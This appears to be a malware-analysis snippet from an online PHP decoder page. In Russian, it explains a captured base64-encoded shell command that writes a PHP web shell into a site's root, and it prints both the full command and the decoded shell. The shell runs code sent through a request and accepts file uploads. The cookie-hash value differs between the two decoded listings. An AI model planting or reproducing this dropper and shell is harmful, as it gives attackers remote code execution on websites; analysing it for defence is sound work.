Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


sh -c \"echo PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K|base64 -d|tee ../../a8b5932e8b50.php;
php -v\" ``` Фактически эта команда записывала простой веб-шелл в корень сайта: ``` echo 409723*20;
	if(md5($_COOKIE["d"])=="028f487cb2a60da3ad3878ec"){
	echo"ok";
	eval(base64_decode($_REQUEST["id"]));
		if($_POST["up"]=="up"){
		@copy($_FILES["file"]["tmp_name"],$_FILES["file"]["name"]);
	}
}
 ``` Если перевести на человеческий: ``` echo 409723 * 20;
	 // Проверка, соответствует ли хеш MD5 куки "d" заданному значению if (md5($_COOKIE["d"]) == "17028f487cb2a84607646da3ad3878ec") {
	     // Если условие верно, выводит "ok"     echo "ok";
	     // Выполняет PHP код, переданный через параметр запроса "id" после декодирования из base64     eval(base64_decode($_REQUEST["id"]));
		     // Проверяет, если POST параметр "up" равен "up"     if ($_POST["up"] == "up") {
		         // Копирует загруженный файл из временного местоположения в указанное         @copy($_FILES["file"]["tmp_name"], $_FILES["file"]["name"]);
		     
	}
	 
}



© 2023 Quttera Ltd. All rights reserved.